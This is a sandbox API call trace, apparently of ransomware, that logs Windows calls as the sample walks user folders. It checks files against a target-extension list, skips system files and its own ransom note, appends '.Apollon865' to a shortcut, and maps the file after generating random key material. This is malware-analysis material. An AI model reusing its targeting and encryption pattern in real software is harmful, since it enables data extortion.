	[0053.957] lstrcmpiW (lpString1="lnk", lpString2="fp3") returned 1
	[0053.957] lstrlenW (lpString="fp4") returned 3
	[0053.957] lstrcmpiW (lpString1="lnk", lpString2="fp4") returned 1
	[0053.957] lstrlenW (lpString="fp5") returned 3
	[0053.957] lstrcmpiW (lpString1="lnk", lpString2="fp5") returned 1
	[0053.957] lstrlenW (lpString="fp7") returned 3
	[0053.957] lstrcmpiW (lpString1="lnk", lpString2="fp7") returned 1
	[0053.957] lstrlenW (lpString="fpt") returned 3
	[0053.957] lstrcmpiW (lpString1="lnk", lpString2="fpt") returned 1
	[0053.957] lstrlenW (lpString="frm") returned 3
	[0053.958] lstrcmpiW (lpString1="lnk", lpString2="frm") returned 1
	[0053.958] lstrlenW (lpString="gdb") returned 3
	[0053.958] lstrcmpiW (lpString1="lnk", lpString2="gdb") returned 1
	[0053.958] lstrlenW (lpString="gdb") returned 3
	[0053.958] lstrcmpiW (lpString1="lnk", lpString2="gdb") returned 1
	[0053.958] lstrlenW (lpString="grdb") returned 4
	[0053.958] lstrcmpiW (lpString1=".lnk", lpString2="grdb") returned -1
	[0053.958] lstrlenW (lpString="gwi") returned 3
	[0053.958] lstrcmpiW (lpString1="lnk", lpString2="gwi") returned 1
	[0053.958] lstrlenW (lpString="hdb") returned 3
	[0053.958] lstrcmpiW (lpString1="lnk", lpString2="hdb") returned 1
	[0053.958] lstrlenW (lpString="his") returned 3
	[0053.958] lstrcmpiW (lpString1="lnk", lpString2="his") returned 1
	[0053.958] lstrlenW (lpString="ib") returned 2
	[0053.958] lstrcmpiW (lpString1="nk", lpString2="ib") returned 1
	[0053.958] lstrlenW (lpString="idb") returned 3
	[0053.958] lstrcmpiW (lpString1="lnk", lpString2="idb") returned 1
	[0053.958] lstrlenW (lpString="ihx") returned 3
	[0053.958] lstrcmpiW (lpString1="lnk", lpString2="ihx") returned 1
	[0053.958] lstrlenW (lpString="itdb") returned 4
	[0053.958] lstrcmpiW (lpString1=".lnk", lpString2="itdb") returned -1
	[0053.958] lstrlenW (lpString="itw") returned 3
	[0053.958] lstrcmpiW (lpString1="lnk", lpString2="itw") returned 1
	[0053.958] lstrlenW (lpString="jet") returned 3
	[0053.958] lstrcmpiW (lpString1="lnk", lpString2="jet") returned 1
	[0053.958] lstrlenW (lpString="jtx") returned 3
	[0053.958] lstrcmpiW (lpString1="lnk", lpString2="jtx") returned 1
	[0053.958] lstrlenW (lpString="kdb") returned 3
	[0053.958] lstrcmpiW (lpString1="lnk", lpString2="kdb") returned 1
	[0053.958] lstrlenW (lpString="kexi") returned 4
	[0053.958] lstrcmpiW (lpString1=".lnk", lpString2="kexi") returned -1
	[0053.958] lstrlenW (lpString="kexic") returned 5
	[0053.958] lstrcmpiW (lpString1="p.lnk", lpString2="kexic") returned 1
	[0053.958] lstrlenW (lpString="kexis") returned 5
	[0053.958] lstrcmpiW (lpString1="p.lnk", lpString2="kexis") returned 1
	[0053.959] lstrlenW (lpString="lgc") returned 3
	[0053.959] lstrcmpiW (lpString1="lnk", lpString2="lgc") returned 1
	[0053.959] lstrlenW (lpString="lwx") returned 3
	[0053.959] lstrcmpiW (lpString1="lnk", lpString2="lwx") returned -1
	[0053.959] lstrlenW (lpString="maf") returned 3
	[0053.959] lstrcmpiW (lpString1="lnk", lpString2="maf") returned -1
	[0053.959] lstrlenW (lpString="maq") returned 3
	[0053.959] lstrcmpiW (lpString1="lnk", lpString2="maq") returned -1
	[0053.959] lstrlenW (lpString="mar") returned 3
	[0053.959] lstrcmpiW (lpString1="lnk", lpString2="mar") returned -1
	[0053.959] lstrlenW (lpString="marshal") returned 7
	[0053.959] lstrcmpiW (lpString1="top.lnk", lpString2="marshal") returned 1
	[0053.959] lstrlenW (lpString="mas") returned 3
	[0053.959] lstrcmpiW (lpString1="lnk", lpString2="mas") returned -1
	[0053.959] lstrlenW (lpString="mav") returned 3
	[0053.959] lstrcmpiW (lpString1="lnk", lpString2="mav") returned -1
	[0053.959] lstrlenW (lpString="maw") returned 3
	[0053.959] lstrcmpiW (lpString1="lnk", lpString2="maw") returned -1
	[0053.959] lstrlenW (lpString="mdbhtml") returned 7
	[0053.959] lstrcmpiW (lpString1="top.lnk", lpString2="mdbhtml") returned 1
	[0053.959] lstrlenW (lpString="mdn") returned 3
	[0053.959] lstrcmpiW (lpString1="lnk", lpString2="mdn") returned -1
	[0053.959] lstrlenW (lpString="mdt") returned 3
	[0053.959] lstrcmpiW (lpString1="lnk", lpString2="mdt") returned -1
	[0053.959] lstrlenW (lpString="mfd") returned 3
	[0053.959] lstrcmpiW (lpString1="lnk", lpString2="mfd") returned -1
	[0053.959] lstrlenW (lpString="mpd") returned 3
	[0053.959] lstrcmpiW (lpString1="lnk", lpString2="mpd") returned -1
	[0053.959] lstrlenW (lpString="mrg") returned 3
	[0053.959] lstrcmpiW (lpString1="lnk", lpString2="mrg") returned -1
	[0053.959] lstrlenW (lpString="mud") returned 3
	[0053.959] lstrcmpiW (lpString1="lnk", lpString2="mud") returned -1
	[0053.959] lstrlenW (lpString="mwb") returned 3
	[0053.959] lstrcmpiW (lpString1="lnk", lpString2="mwb") returned -1
	[0053.960] lstrlenW (lpString="myd") returned 3
	[0053.960] lstrcmpiW (lpString1="lnk", lpString2="myd") returned -1
	[0053.960] lstrlenW (lpString="ndf") returned 3
	[0053.960] lstrcmpiW (lpString1="lnk", lpString2="ndf") returned -1
	[0053.960] lstrlenW (lpString="nnt") returned 3
	[0053.960] lstrcmpiW (lpString1="lnk", lpString2="nnt") returned -1
	[0053.960] lstrlenW (lpString="nrmlib") returned 6
	[0053.960] lstrcmpiW (lpString1="op.lnk", lpString2="nrmlib") returned 1
	[0053.960] lstrlenW (lpString="ns2") returned 3
	[0053.960] lstrcmpiW (lpString1="lnk", lpString2="ns2") returned -1
	[0053.960] lstrlenW (lpString="ns3") returned 3
	[0053.960] lstrcmpiW (lpString1="lnk", lpString2="ns3") returned -1
	[0053.960] lstrlenW (lpString="ns4") returned 3
	[0053.960] lstrcmpiW (lpString1="lnk", lpString2="ns4") returned -1
	[0053.960] lstrlenW (lpString="nsf") returned 3
	[0053.960] lstrcmpiW (lpString1="lnk", lpString2="nsf") returned -1
	[0053.960] lstrlenW (lpString="nv") returned 2
	[0053.960] lstrcmpiW (lpString1="nk", lpString2="nv") returned -1
	[0053.960] lstrlenW (lpString="nv2") returned 3
	[0053.960] lstrcmpiW (lpString1="lnk", lpString2="nv2") returned -1
	[0053.960] lstrlenW (lpString="nwdb") returned 4
	[0053.960] lstrcmpiW (lpString1=".lnk", lpString2="nwdb") returned -1
	[0053.960] lstrlenW (lpString="nyf") returned 3
	[0053.960] lstrcmpiW (lpString1="lnk", lpString2="nyf") returned -1
	[0053.960] lstrlenW (lpString="odb") returned 3
	[0053.960] lstrcmpiW (lpString1="lnk", lpString2="odb") returned -1
	[0053.960] lstrlenW (lpString="odb") returned 3
	[0053.960] lstrcmpiW (lpString1="lnk", lpString2="odb") returned -1
	[0053.960] lstrlenW (lpString="oqy") returned 3
	[0053.960] lstrcmpiW (lpString1="lnk", lpString2="oqy") returned -1
	[0053.960] lstrlenW (lpString="ora") returned 3
	[0053.960] lstrcmpiW (lpString1="lnk", lpString2="ora") returned -1
	[0053.960] lstrlenW (lpString="orx") returned 3
	[0053.960] lstrcmpiW (lpString1="lnk", lpString2="orx") returned -1
	[0053.960] lstrlenW (lpString="owc") returned 3
	[0053.961] lstrcmpiW (lpString1="lnk", lpString2="owc") returned -1
	[0053.961] lstrlenW (lpString="p96") returned 3
	[0053.961] lstrcmpiW (lpString1="lnk", lpString2="p96") returned -1
	[0053.961] lstrlenW (lpString="p97") returned 3
	[0053.961] lstrcmpiW (lpString1="lnk", lpString2="p97") returned -1
	[0053.961] lstrlenW (lpString="pan") returned 3
	[0053.961] lstrcmpiW (lpString1="lnk", lpString2="pan") returned -1
	[0053.961] lstrlenW (lpString="pdb") returned 3
	[0053.961] lstrcmpiW (lpString1="lnk", lpString2="pdb") returned -1
	[0053.961] lstrlenW (lpString="pdm") returned 3
	[0053.962] lstrcmpiW (lpString1="lnk", lpString2="pdm") returned -1
	[0053.962] lstrlenW (lpString="pnz") returned 3
	[0053.962] lstrcmpiW (lpString1="lnk", lpString2="pnz") returned -1
	[0053.962] lstrlenW (lpString="qry") returned 3
	[0053.962] lstrcmpiW (lpString1="lnk", lpString2="qry") returned -1
	[0053.962] lstrlenW (lpString="qvd") returned 3
	[0053.962] lstrcmpiW (lpString1="lnk", lpString2="qvd") returned -1
	[0053.962] lstrlenW (lpString="rbf") returned 3
	[0053.962] lstrcmpiW (lpString1="lnk", lpString2="rbf") returned -1
	[0053.962] lstrlenW (lpString="rctd") returned 4
	[0053.962] lstrcmpiW (lpString1=".lnk", lpString2="rctd") returned -1
	[0053.962] lstrlenW (lpString="rod") returned 3
	[0053.962] lstrcmpiW (lpString1="lnk", lpString2="rod") returned -1
	[0053.962] lstrlenW (lpString="rodx") returned 4
	[0053.962] lstrcmpiW (lpString1=".lnk", lpString2="rodx") returned -1
	[0053.962] lstrlenW (lpString="rpd") returned 3
	[0053.962] lstrcmpiW (lpString1="lnk", lpString2="rpd") returned -1
	[0053.962] lstrlenW (lpString="rsd") returned 3
	[0053.962] lstrcmpiW (lpString1="lnk", lpString2="rsd") returned -1
	[0053.962] lstrlenW (lpString="sas7bdat") returned 8
	[0053.962] lstrcmpiW (lpString1="ktop.lnk", lpString2="sas7bdat") returned -1
	[0053.962] lstrlenW (lpString="sbf") returned 3
	[0053.962] lstrcmpiW (lpString1="lnk", lpString2="sbf") returned -1
	[0053.962] lstrlenW (lpString="scx") returned 3
	[0053.962] lstrcmpiW (lpString1="lnk", lpString2="scx") returned -1
	[0053.962] lstrlenW (lpString="sdb") returned 3
	[0053.962] lstrcmpiW (lpString1="lnk", lpString2="sdb") returned -1
	[0053.962] lstrlenW (lpString="sdc") returned 3
	[0053.962] lstrcmpiW (lpString1="lnk", lpString2="sdc") returned -1
	[0053.962] lstrlenW (lpString="sdf") returned 3
	[0053.962] lstrcmpiW (lpString1="lnk", lpString2="sdf") returned -1
	[0053.963] lstrlenW (lpString="sis") returned 3
	[0053.963] lstrcmpiW (lpString1="lnk", lpString2="sis") returned -1
	[0053.963] lstrlenW (lpString="spq") returned 3
	[0053.963] lstrcmpiW (lpString1="lnk", lpString2="spq") returned -1
	[0053.963] lstrlenW (lpString="te") returned 2
	[0053.963] lstrcmpiW (lpString1="nk", lpString2="te") returned -1
	[0053.963] lstrlenW (lpString="teacher") returned 7
	[0053.963] lstrcmpiW (lpString1="top.lnk", lpString2="teacher") returned 1
	[0053.963] lstrlenW (lpString="tmd") returned 3
	[0053.963] lstrcmpiW (lpString1="lnk", lpString2="tmd") returned -1
	[0053.963] lstrlenW (lpString="tps") returned 3
	[0053.963] lstrcmpiW (lpString1="lnk", lpString2="tps") returned -1
	[0053.963] lstrlenW (lpString="trc") returned 3
	[0053.963] lstrcmpiW (lpString1="lnk", lpString2="trc") returned -1
	[0053.963] lstrlenW (lpString="trc") returned 3
	[0053.963] lstrcmpiW (lpString1="lnk", lpString2="trc") returned -1
	[0053.963] lstrlenW (lpString="trm") returned 3
	[0053.963] lstrcmpiW (lpString1="lnk", lpString2="trm") returned -1
	[0053.963] lstrlenW (lpString="udb") returned 3
	[0053.963] lstrcmpiW (lpString1="lnk", lpString2="udb") returned -1
	[0053.963] lstrlenW (lpString="udl") returned 3
	[0053.963] lstrcmpiW (lpString1="lnk", lpString2="udl") returned -1
	[0053.963] lstrlenW (lpString="usr") returned 3
	[0053.963] lstrcmpiW (lpString1="lnk", lpString2="usr") returned -1
	[0053.963] lstrlenW (lpString="v12") returned 3
	[0053.963] lstrcmpiW (lpString1="lnk", lpString2="v12") returned -1
	[0053.963] lstrlenW (lpString="vis") returned 3
	[0053.963] lstrcmpiW (lpString1="lnk", lpString2="vis") returned -1
	[0053.963] lstrlenW (lpString="vpd") returned 3
	[0053.963] lstrcmpiW (lpString1="lnk", lpString2="vpd") returned -1
	[0053.963] lstrlenW (lpString="vvv") returned 3
	[0053.963] lstrcmpiW (lpString1="lnk", lpString2="vvv") returned -1
	[0053.963] lstrlenW (lpString="wdb") returned 3
	[0053.963] lstrcmpiW (lpString1="lnk", lpString2="wdb") returned -1
	[0053.963] lstrlenW (lpString="wmdb") returned 4
	[0053.964] lstrcmpiW (lpString1=".lnk", lpString2="wmdb") returned -1
	[0053.964] lstrlenW (lpString="wrk") returned 3
	[0053.964] lstrcmpiW (lpString1="lnk", lpString2="wrk") returned -1
	[0053.964] lstrlenW (lpString="xdb") returned 3
	[0053.964] lstrcmpiW (lpString1="lnk", lpString2="xdb") returned -1
	[0053.964] lstrlenW (lpString="xld") returned 3
	[0053.964] lstrcmpiW (lpString1="lnk", lpString2="xld") returned -1
	[0053.964] lstrlenW (lpString="xmlff") returned 5
	[0053.964] lstrcmpiW (lpString1="p.lnk", lpString2="xmlff") returned -1
	[0053.964] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\Shows Desktop.lnk.Apollon865") returned 102
	[0053.964] MoveFileExW (lpExistingFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\Shows Desktop.lnk" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\internet explorer\\quick launch\\shows desktop.lnk"), lpNewFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\Shows Desktop.lnk.Apollon865" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\internet explorer\\quick launch\\shows desktop.lnk.apollon865"), dwFlags=0x1) returned 1
	[0053.966] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\Shows Desktop.lnk.Apollon865" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\internet explorer\\quick launch\\shows desktop.lnk.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0xc0
	[0053.966] GetFileSizeEx (in: hFile=0xc0, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=290) returned 1
	[0053.966] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0053.966] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59aa10
	[0053.966] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf898
	[0053.966] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf4e0) returned 1
	[0053.967] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0053.967] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0053.967] CreateFileMappingW (hFile=0xc0, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x430, lpName=0x0) returned 0x118
	[0053.975] MapViewOfFile (hFileMappingObject=0x118, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x430) returned 0x120000
	[0053.983] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf4e0) returned 1
	[0053.984] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0053.984] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0053.984] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a998
	[0053.984] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a998 | out: hHeap=0x580000) returned 1
	[0053.984] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6560
	[0053.984] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0053.984] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6560 | out: hHeap=0x580000) returned 1
	[0053.984] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0053.984] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2f60
	[0053.984] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0053.984] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2f60 | out: hHeap=0x580000) returned 1
	[0053.984] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0053.984] UnmapViewOfFile (lpBaseAddress=0x120000) returned 1
	[0053.985] CloseHandle (hObject=0x118) returned 1
	[0053.985] CloseHandle (hObject=0xc0) returned 1
	[0053.985] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59aa10 | out: hHeap=0x580000) returned 1
	[0053.985] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf898 | out: hHeap=0x580000) returned 1
	[0053.985] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0053.985] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2e542e50, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2e542e50, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="User Pinned", cAlternateFileName="USERPI~1")) returned 1
	[0053.985] lstrcmpiW (lpString1="User Pinned", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0053.985] lstrcmpiW (lpString1="User Pinned", lpString2="Apollon865.txt.exe") returned 1
	[0053.985] lstrcmpiW (lpString1="User Pinned", lpString2=".") returned 1
	[0053.985] lstrcmpiW (lpString1="User Pinned", lpString2="..") returned 1
	[0053.985] lstrcmpiW (lpString1="User Pinned", lpString2="windows") returned -1
	[0053.985] lstrcmpiW (lpString1="User Pinned", lpString2="bootmgr") returned 1
	[0053.985] lstrcmpiW (lpString1="User Pinned", lpString2="temp") returned 1
	[0053.985] lstrcmpiW (lpString1="User Pinned", lpString2="pagefile.sys") returned 1
	[0053.985] lstrcmpiW (lpString1="User Pinned", lpString2="boot") returned 1
	[0053.985] lstrcmpiW (lpString1="User Pinned", lpString2="ids.txt") returned 1
	[0053.985] lstrcmpiW (lpString1="User Pinned", lpString2="ntuser.dat") returned 1
	[0053.985] lstrcmpiW (lpString1="User Pinned", lpString2="perflogs") returned 1
	[0053.985] lstrcmpiW (lpString1="User Pinned", lpString2="MSBuild") returned 1
	[0053.985] lstrlenW (lpString="User Pinned") returned 11
	[0053.985] lstrlenW (lpString="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\Shows Desktop.lnk") returned 91
	[0053.985] lstrcpyW (in: lpString1=0x119e69c, lpString2="User Pinned" | out: lpString1="User Pinned") returned="User Pinned"
	[0053.985] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7b68
	[0053.985] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xac) returned 0x5995a0
	[0053.985] RtlInterlockedPushEntrySList (in: ListHead=0x5b75f0, ListEntry=0x5b7b70 | out: ListHead=0x5b75f0, ListEntry=0x5b7b70) returned 0x5b7b50
	[0053.986] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7de6f76b, ftCreationTime.dwHighDateTime=0x1ca043e, ftLastAccessTime.dwLowDateTime=0x642afa0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x7e143190, ftLastWriteTime.dwHighDateTime=0x1ca043e, nFileSizeHigh=0x0, nFileSizeLow=0x110, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Window Switcher.lnk", cAlternateFileName="WINDOW~1.LNK")) returned 1
	[0053.986] lstrcmpiW (lpString1="Window Switcher.lnk", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0053.986] lstrcmpiW (lpString1="Window Switcher.lnk", lpString2="Apollon865.txt.exe") returned 1
	[0053.986] lstrcmpiW (lpString1="Window Switcher.lnk", lpString2=".") returned 1
	[0053.986] lstrcmpiW (lpString1="Window Switcher.lnk", lpString2="..") returned 1
	[0053.986] lstrcmpiW (lpString1="Window Switcher.lnk", lpString2="windows") returned -1
	[0053.986] lstrcmpiW (lpString1="Window Switcher.lnk", lpString2="bootmgr") returned 1
	[0053.986] lstrcmpiW (lpString1="Window Switcher.lnk", lpString2="temp") returned 1
	[0053.986] lstrcmpiW (lpString1="Window Switcher.lnk", lpString2="pagefile.sys") returned 1
	[0053.986] lstrcmpiW (lpString1="Window Switcher.lnk", lpString2="boot") returned 1
	[0053.986] lstrcmpiW (lpString1="Window Switcher.lnk", lpString2="ids.txt") returned 1
	[0053.986] lstrcmpiW (lpString1="Window Switcher.lnk", lpString2="ntuser.dat") returned 1
	[0053.986] lstrcmpiW (lpString1="Window Switcher.lnk", lpString2="perflogs") returned 1
	[0053.986] lstrcmpiW (lpString1="Window Switcher.lnk", lpString2="MSBuild") returned 1
	[0053.986] lstrlenW (lpString="Window Switcher.lnk") returned 19
	[0053.986] lstrlenW (lpString="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned") returned 85
	[0053.986] lstrcpyW (in: lpString1=0x119e69c, lpString2="Window Switcher.lnk" | out: lpString1="Window Switcher.lnk") returned="Window Switcher.lnk"
	[0053.986] lstrlenW (lpString="Window Switcher.lnk") returned 19
	[0053.986] lstrlenW (lpString="Apollon865") returned 10
	[0053.986] lstrcmpiW (lpString1="itcher.lnk", lpString2="Apollon865") returned 1
	[0053.986] lstrlenW (lpString=".dll") returned 4
	[0053.986] lstrcmpiW (lpString1="Window Switcher.lnk", lpString2=".dll") returned 1
	[0053.986] lstrlenW (lpString=".lnk") returned 4
	[0053.986] lstrcmpiW (lpString1="Window Switcher.lnk", lpString2=".lnk") returned 1
	[0053.986] lstrlenW (lpString=".ini") returned 4
	[0053.986] lstrcmpiW (lpString1="Window Switcher.lnk", lpString2=".ini") returned 1
	[0053.986] lstrlenW (lpString=".sys") returned 4
	[0053.986] lstrcmpiW (lpString1="Window Switcher.lnk", lpString2=".sys") returned 1
	[0053.986] lstrlenW (lpString="Window Switcher.lnk") returned 19
	[0053.986] lstrlenW (lpString="bak") returned 3
	[0053.986] lstrcmpiW (lpString1="lnk", lpString2="bak") returned 1
	[0053.986] lstrlenW (lpString="ba_") returned 3
	[0053.986] lstrcmpiW (lpString1="lnk", lpString2="ba_") returned 1
	[0053.987] lstrlenW (lpString="dbb") returned 3
	[0053.987] lstrcmpiW (lpString1="lnk", lpString2="dbb") returned 1
	[0053.987] lstrlenW (lpString="vmdk") returned 4
	[0053.987] lstrcmpiW (lpString1=".lnk", lpString2="vmdk") returned -1
	[0053.987] lstrlenW (lpString="rar") returned 3
	[0053.987] lstrcmpiW (lpString1="lnk", lpString2="rar") returned -1
	[0053.987] lstrlenW (lpString="zip") returned 3
	[0053.987] lstrcmpiW (lpString1="lnk", lpString2="zip") returned -1
	[0053.987] lstrlenW (lpString="tgz") returned 3
	[0053.987] lstrcmpiW (lpString1="lnk", lpString2="tgz") returned -1
	[0053.987] lstrlenW (lpString="vbox") returned 4
	[0053.987] lstrcmpiW (lpString1=".lnk", lpString2="vbox") returned -1
	[0053.987] lstrlenW (lpString="vdi") returned 3
	[0053.987] lstrcmpiW (lpString1="lnk", lpString2="vdi") returned -1
	[0053.987] lstrlenW (lpString="vhd") returned 3
	[0053.987] lstrcmpiW (lpString1="lnk", lpString2="vhd") returned -1
	[0053.987] lstrlenW (lpString="vhdx") returned 4
	[0053.987] lstrcmpiW (lpString1=".lnk", lpString2="vhdx") returned -1
	[0053.987] lstrlenW (lpString="avhd") returned 4
	[0053.987] lstrcmpiW (lpString1=".lnk", lpString2="avhd") returned -1
	[0053.987] lstrlenW (lpString="db") returned 2
	[0053.987] lstrcmpiW (lpString1="nk", lpString2="db") returned 1
	[0053.987] lstrlenW (lpString="db2") returned 3
	[0053.987] lstrcmpiW (lpString1="lnk", lpString2="db2") returned 1
	[0053.987] lstrlenW (lpString="db3") returned 3
	[0053.987] lstrcmpiW (lpString1="lnk", lpString2="db3") returned 1
	[0053.987] lstrlenW (lpString="dbf") returned 3
	[0053.987] lstrcmpiW (lpString1="lnk", lpString2="dbf") returned 1
	[0053.987] lstrlenW (lpString="mdf") returned 3
	[0053.987] lstrcmpiW (lpString1="lnk", lpString2="mdf") returned -1
	[0053.987] lstrlenW (lpString="mdb") returned 3
	[0053.987] lstrcmpiW (lpString1="lnk", lpString2="mdb") returned -1
	[0053.987] lstrlenW (lpString="sql") returned 3
	[0053.987] lstrcmpiW (lpString1="lnk", lpString2="sql") returned -1
	[0053.988] lstrlenW (lpString="sqlite") returned 6
	[0053.988] lstrcmpiW (lpString1="er.lnk", lpString2="sqlite") returned -1
	[0053.988] lstrlenW (lpString="sqlite3") returned 7
	[0053.988] lstrcmpiW (lpString1="her.lnk", lpString2="sqlite3") returned -1
	[0053.988] lstrlenW (lpString="sqlitedb") returned 8
	[0053.988] lstrcmpiW (lpString1="cher.lnk", lpString2="sqlitedb") returned -1
	[0053.988] lstrlenW (lpString="xml") returned 3
	[0053.988] lstrcmpiW (lpString1="lnk", lpString2="xml") returned -1
	[0053.988] lstrlenW (lpString="$er") returned 3
	[0053.988] lstrcmpiW (lpString1="lnk", lpString2="$er") returned 1
	[0053.988] lstrlenW (lpString="4dd") returned 3
	[0053.988] lstrcmpiW (lpString1="lnk", lpString2="4dd") returned 1
	[0053.988] lstrlenW (lpString="4dl") returned 3
	[0053.988] lstrcmpiW (lpString1="lnk", lpString2="4dl") returned 1
	[0053.988] lstrlenW (lpString="^^^") returned 3
	[0053.988] lstrcmpiW (lpString1="lnk", lpString2="^^^") returned 1
	[0053.988] lstrlenW (lpString="abs") returned 3
	[0053.988] lstrcmpiW (lpString1="lnk", lpString2="abs") returned 1
	[0053.988] lstrlenW (lpString="abx") returned 3
	[0053.988] lstrcmpiW (lpString1="lnk", lpString2="abx") returned 1
	[0053.988] lstrlenW (lpString="accdb") returned 5
	[0053.988] lstrcmpiW (lpString1="r.lnk", lpString2="accdb") returned 1
	[0053.988] lstrlenW (lpString="accdc") returned 5
	[0053.988] lstrcmpiW (lpString1="r.lnk", lpString2="accdc") returned 1
	[0053.988] lstrlenW (lpString="accde") returned 5
	[0053.988] lstrcmpiW (lpString1="r.lnk", lpString2="accde") returned 1
	[0053.988] lstrlenW (lpString="accdr") returned 5
	[0053.988] lstrcmpiW (lpString1="r.lnk", lpString2="accdr") returned 1
	[0053.988] lstrlenW (lpString="accdt") returned 5
	[0053.988] lstrcmpiW (lpString1="r.lnk", lpString2="accdt") returned 1
	[0053.988] lstrlenW (lpString="accdw") returned 5
	[0053.988] lstrcmpiW (lpString1="r.lnk", lpString2="accdw") returned 1
	[0053.988] lstrlenW (lpString="accft") returned 5
	[0053.988] lstrcmpiW (lpString1="r.lnk", lpString2="accft") returned 1
	[0053.988] lstrlenW (lpString="adb") returned 3
	[0053.989] lstrcmpiW (lpString1="lnk", lpString2="adb") returned 1
	[0053.989] lstrlenW (lpString="adb") returned 3
	[0053.989] lstrcmpiW (lpString1="lnk", lpString2="adb") returned 1
	[0053.989] lstrlenW (lpString="ade") returned 3
	[0053.989] lstrcmpiW (lpString1="lnk", lpString2="ade") returned 1
	[0053.989] lstrlenW (lpString="adf") returned 3
	[0053.989] lstrcmpiW (lpString1="lnk", lpString2="adf") returned 1
	[0053.989] lstrlenW (lpString="adn") returned 3
	[0053.989] lstrcmpiW (lpString1="lnk", lpString2="adn") returned 1
	[0053.989] lstrlenW (lpString="adp") returned 3
	[0053.989] lstrcmpiW (lpString1="lnk", lpString2="adp") returned 1
	[0053.989] lstrlenW (lpString="alf") returned 3
	[0053.989] lstrcmpiW (lpString1="lnk", lpString2="alf") returned 1
	[0053.989] lstrlenW (lpString="ask") returned 3
	[0053.989] lstrcmpiW (lpString1="lnk", lpString2="ask") returned 1
	[0053.989] lstrlenW (lpString="btr") returned 3
	[0053.989] lstrcmpiW (lpString1="lnk", lpString2="btr") returned 1
	[0053.989] lstrlenW (lpString="cat") returned 3
	[0053.989] lstrcmpiW (lpString1="lnk", lpString2="cat") returned 1
	[0053.989] lstrlenW (lpString="cdb") returned 3
	[0053.989] lstrcmpiW (lpString1="lnk", lpString2="cdb") returned 1
	[0053.989] lstrlenW (lpString="ckp") returned 3
	[0053.989] lstrcmpiW (lpString1="lnk", lpString2="ckp") returned 1
	[0053.989] lstrlenW (lpString="cma") returned 3
